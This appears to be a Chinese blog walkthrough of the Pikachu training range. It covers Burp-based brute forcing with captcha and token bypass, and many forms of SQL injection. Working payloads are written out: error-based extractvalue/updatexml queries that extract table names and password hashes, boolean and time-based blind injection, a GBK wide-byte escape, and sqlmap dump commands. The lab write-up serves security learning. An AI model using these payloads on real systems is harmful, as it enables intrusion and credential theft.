目录

1.暴力破解

1.1.基于表单的暴力破解

1.2.验证码绕过(on server)

1.3验证码绕过(on client)

1.4token防爆破

2.SQL注入

2.1数字型注入

2.2字符型注入

2.3搜索型注入

2.4.xx型注入​

2.5.insert/updata注入

2.6delete注入

2.7http头注入

2.8盲注

2.9基于时间的盲注

2.10wide byte注入


1.暴力破解

这是作者的概述可以阅读一下

Burte Force(暴力破解)概述

“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:

1.是否要求用户设置复杂的密码;
2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
4.是否采用了双因素认证;
...等等。
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!

在做pikachu的暴力破解之前可以先看看其他大师傅验证码绕过的文章,收获很多

渗透测试-验证码的爆破与绕过_Tr0e-CSDN博客_验证码绕过

1.1.基于表单的暴力破解

这里其实主要就是考验burp的用法以及自己的字典了

点击题目的提示它会告诉你有三个用户

我们随意输入用户名密码抓包


点击右键发送给intrder

可以看到目标的IP和端口,接着点位置

攻击类型有四种,不懂的可以去看看burp的使用方法

我们将要爆破的位置点右边的添加添加上去,攻击类型就选择最后一个,集束炸弹

接着设置攻击的有效载荷

第一个位置是username

第二个位置是password

设置好之后开始攻击

我们可以把回显的内容按长短排序,已知有三个用户所以它们的长度与其他的长度不同

这样我们就成功爆破出了密码

1.2.验证码绕过(on server)

我们先观察页面

每刷新一次页面验证码就会发生改变

那么我们抓个包看看

vcod就是我们输入的验证码

我们发送到repeater

提示我们用户名密码不存在,我们再次修改用户名密码发现都只会提示用户名和密码不存在,说明验证码并没有刷新。那么我们直接暴力破解

可以发现已经跑出了用户名和密码

验证码成功被绕过

1.3验证码绕过(on client)

根据提示我们查看前端页面的源码

不难看出,它的验证码是在前端生成的,也是在前端进行验证

那么我们抓个包看看

可以看出即使修改了验证码,也只会提示我们用户名和密码不存在,也证明了它只会在前端进行校验。

接下来就按照之前的方式进行暴力破解就好了,就不再重复。

1.4token防爆破

没有验证码,那么我们先抓个包

我们发现请求包中多了一个token值,返回的是用户名错误

而且返回值中也有token的值

那么我们再次发包

提示我们token错误,其实这个token值就是返回包里的token值

这里我们发送到测试器,攻击类型选为音叉: 允许单独为每一处位置设置一组数据

在选项当中Grep Extract当中从响应中把token 的值找到选择点击ok

接着设置它的载荷类型是递归搜索,将第一个有效载荷添加进去。再将位置一位置二设置好

接着就开始攻击也能成功跑出来。

2.SQL注入

2.1数字型注入

首先我们进入题目

这里点击输入框会有下拉菜单可以选择userid进行查询

如图所示

那么我们抓个包看看,打开代理抓包发送到重发器

根据我们输入id能查询到的内容,我们可以猜测后台数据库的内容为

select name,email from 表名 where id = $id

然后我们输入在id后面输入-1 or 1=1

意思就是假或者真,则为真

可以看到它直接显示了所有的用户信息。

2.2字符型注入

进入题目

我们输入一个用户名试试看,输入admin显示用户不存在

抓包看看

我们在admin后面加上一个',让后台语句报错

可以猜测后台的语句应该是这样的,username用单引号包裹

select 字段1,字段2 from 表名 where username='$uname'

那么我们将username写为admin' or 1=1再加上#注释掉后面的'就可以完成构造

所有的username和email都被查询了出来

2.3搜索型注入

我们随便搜索一个k,它会将用户名中带有k的都显示出来

再输入name'让其返回报错,查看其后台部分语句

那么可以猜测后台的查询语句为

select * from member where username like '%$name%'

那么我们就要考虑闭合%

改为name%' or 1=1#

数据库返回了所有数据

2.4.xx型注入

这道题我们不清楚他是什么闭合方式那我们就让它报错显示一下错误的内容

输入admin'

返回的是 ''admin'')'

说明username是用单引号和括号包裹的

那么我们输入admin') or 1=1#

成功闭合

2.5.insert/updata注入

根据题目insert/updata可以知道注入点在注册与更新的部分

注册里用户名写jy'

发生了报错说明有后台语句参与其中

可以根据SQL注入中insert语句

insert into user(Username,Password,Sex,PhoneNum,Address1,Address2) value(‘’,‘男/女’,,‘’,‘’);

那么我们利用报错注入

利用extractvalue()函数进行报错注入

输入jy' and extractvalue(1,concat(0x7e,database())) or '#

0x7e是~,防止报错返回信息的不完整显示

concat()函数是将数据连接

这样我们就得到了数据库的名称

也可以查询数据库的版本version()

也可以把version()换为其他的查询,比如查询表名,查询列名,但是在查询的时候会一直显示不完全

我起初以为是输入有问题,但找了半天没找到,通过查资料得知extractvalue()和updatexml()函数都有长度限制,只能有32位长度,所以需要用substr函数来将后面的部分和前面的部分连接起来

查询表名

jy'or extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31))) or'

可以看到x显然是没有显示完全的可以调整payload当中substr的起始位置和结束位置

也可以使用limit 0,1来一个一个查询

'or extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database()limit 0,1))) or'

完整的表名:httpinfo,member,message,users,xssblind

接下来查询user表中的列

' or extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31))) or '

调整substr位置

' or extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,64))) or '

不难猜出最后一个就是password最后我们查询

' or extractvalue(1,concat(0x7e,substr((select group_concat(password) from users),1,31),0x7e)) or '

调整位置

可以得到第一个密码是

e10adc3949ba59abbe56e057f20f883e

2.6delete注入

这里我们先上传一些留言

然后在删除的时候抓包

能看到一个id =56,那么我们加一个引号,产生了报错说明这里是注入点

我们在这里利用报错注入这次我们用updatexml(xml_document,xpath_string,new_value)

与extractvalue()不同的是后面多了一个参数,一般我们在xpath_string 中进行报错注入

直接输入

加号是用来代替空格的否则会直接报错

56+or+updatexml(1,concat(0x7e,database()),0)

返回了数据库内容

接着继续查询表名

id=56+or+updatexml(1,concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),1,31),0x7e),1)

查询列名

id=56+or+updatexml(1,concat(0x7e,substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name='users'),1,31),0x7e),1)

最后查询的步骤和上一题相同

2.7http头注入

直接按照提示输入admin/123456

登录后,点击退出抓包

发现logout=1尝试注入发现不对

把userAgent改为1'

发现报错说明有注入,继续报错注入

可以注入

1' or extractvalue(1,concat(0x7e,database())) or '

接下来的和上面的报错注入相同

2.8盲注

输入已知有的账号之后抓包

我们输入'会发现并不会出现报错

加上#号发现成功

说明有注入点但是没有错误显示

这就需要选择盲注

盲注有布尔盲注和时间盲注

这道题我们选择布尔盲注,是通过我们输入的数据返回的真或假来进行注入

已知kobe为真若database的首字母为p为真,则能正常查询

kobe' and substr(database(),1,1)='p'#

查询成功,但这种查询方式太类可以使用sqlmap

扫数据库

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" --current-db

成功跑出数据库

爆表

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

漫长的等待

爆列

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

爆用户名密码

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C "password,username" --dump

2.9基于时间的盲注

时间盲注是在页面怎么都不报错时选择的 ,就像这道题怎么输入他都不会报错

可以用sleep()函数让页面睡一会再发送数据

kobe' and if((database()='pikachu'),sleep(2),0)#

当数据库名为pikachu时睡

成功

时间盲注也同样麻烦,可以使用sqlmap暴库和上题一样

2.10wide byte注入

宽字节注入

宽字节,指的是当编码为GBK时两个字符为一个汉字

例如853c为一个汉字

GB2312汉字的编码范围为B0A1-F7FE

315c27指的是 1\'

5c代表\  27为 '

要使'能够注入就再5c 前面加81使815c被识别为一个汉字即31(815c)27;31(汉字)27

那么1'就成功注入

gbk的编码范围为8140-FEFE

这道题中PHP使用addslashes输入单引号会被解析成转义为/' ,解析过来就是%5c%27

我们在前面加上%81就是%81%5c%27,%81%5c会被编码为一个汉字,则单引号就会逃逸

kobe%81' or 1=1#

剩下就是查询数据库,表名列名就不再,与上相同

pikachu靶场 暴力破解 sql注入详解相关推荐

  1. Pikachu靶场之文件包含漏洞详解

    Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...

  2. Linux下暴力破解工具Hydra详解

    Linux下暴力破解工具Hydra详解 一.简介 Number one of the biggest security holes are passwords, as every password s ...

  3. SQL注入详解及预防

    SQL注入详解及预防 1.1.1 摘要 日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登录名及密码被公开泄露,随后又有多家网站的用户密码被流传于网络,连日来引发众多网 ...

  4. Pikachu靶场全级别通关教程详解

    pikach通关 暴力破解 Cross-Site Scripting XSS(跨站脚本)概述 跨站脚本漏洞类型及测试流程 跨站脚本漏洞常见类型 XSS漏洞形成的原因: 跨站脚本漏洞测试流程 tips ...

  5. pikachu靶场通关之sql注入系列

    目录 一.前置知识 二.SQL注入 三. 注入的一般方法 1. 手动注入 (1)联合查询union注入: (2)基于报错信息注入: (3)盲注: 2. 使用sqlmap注入 (1) 前置知识 (2) ...

  6. SQL注入详解和简单绕过原理

    1.什么是SQL 结构化查询语言(Structured Query Language)简称SQL SQL使我们有能力访问数据库 2.什么是SQL注入 用户提交的数据可以被数据库解析执行 如果用户随随便 ...

  7. Pikachu靶场暴力破解关卡3

    这是暴力破解关卡的第三关on client 正常做题思路 首先输入username,按提交看页面的显示 提示请输入验证码 接着输入password继续点击登录 又是请输入验证码 接着输入错误的验证码看 ...

  8. Pikachu靶场暴力破解通关

    目录 字典获取 BP四种攻击模式 一.Sniper(狙击手模式) 二.Battering ram(攻城锤模式) 三.Pitchfork(叉子模式) 四.Cluster bomb(炸弹模式) 靶场练习 ...

  9. pikachu靶场暴力破解专题

     一.前言 pikachu是我作为初探渗透的平台,所以我会在每个专题前增加更多的基础知识,一是方便自己巩固基础,二是帮助一些也打算入门渗透的小白更好的理解. 二.暴力破解 pikachu靶场里给出的暴 ...

  10. SQL注入详解(第二章手工注入)

    二.MySQL手工注入 1.SQL注入之sqli-labs环境搭建 往往很多新手在刚学习SQL注入的时候,都需要拥有一个能SQL注入的网站,需要有SQL注入点 的.直接去互联网上找的话对新手未免有点太 ...

最新文章

  1. class() 高级用法 -- lua
  2. 排序算法笔记:堆排序 HeapSort in java
  3. antd option宽度自适应_网站自适应模板是什么
  4. 图像文字识别(二):java调用tesseract 识别图片文字
  5. [C++11]final关键字的使用
  6. python输出格式控制_Python3.x那些事儿:[50]多种多样的输出格式
  7. Android Binder机制介绍
  8. HTTP服务器错误状态码4XX、5XX
  9. StringUtils用法
  10. linux mock 使用
  11. 多重利好袭来,“东数西算”的背后意义深远
  12. 不可忽视!中国“新四大发明”正改变世界
  13. stata读入dta乱码时的操作
  14. 1044: 不及格率 Java
  15. 券商大举进入区块链研究 与原生投研机构争夺定价权
  16. Unity+Kinect骨骼绑定的两种方法和问题(六)
  17. 鸟哥,png图片压缩
  18. P471String类的常见方法-P477StringBuffer的常见方法
  19. 新发布的AirPods3华强北四代耳机如何选购,洛达1562E怎么样呢?
  20. java code formatter,Eclipse Code Formatter在IDEA中配置

热门文章

  1. C++sort函数使用(成绩排名)
  2. mysql 检查配置_MYSQL 配置检查脚本
  3. wps垂直排列标题与文本_如何垂直设置wps文本
  4. OPC UA SDK案例:虹科OPC UA SDK助力立功科技ZWS云平台
  5. android短信验证码免费版,短信验证码功能-免费哦!亲测可用
  6. 人体肌肉怎么画?怎样才能画好人体肌肉?
  7. HTML基础学习(菜鸟教程和W3school参考手册)
  8. U盘“请将磁盘插入U盘”的问题
  9. 保存书店每日交易记录程序设计
  10. java128分解质因数_java分解质因数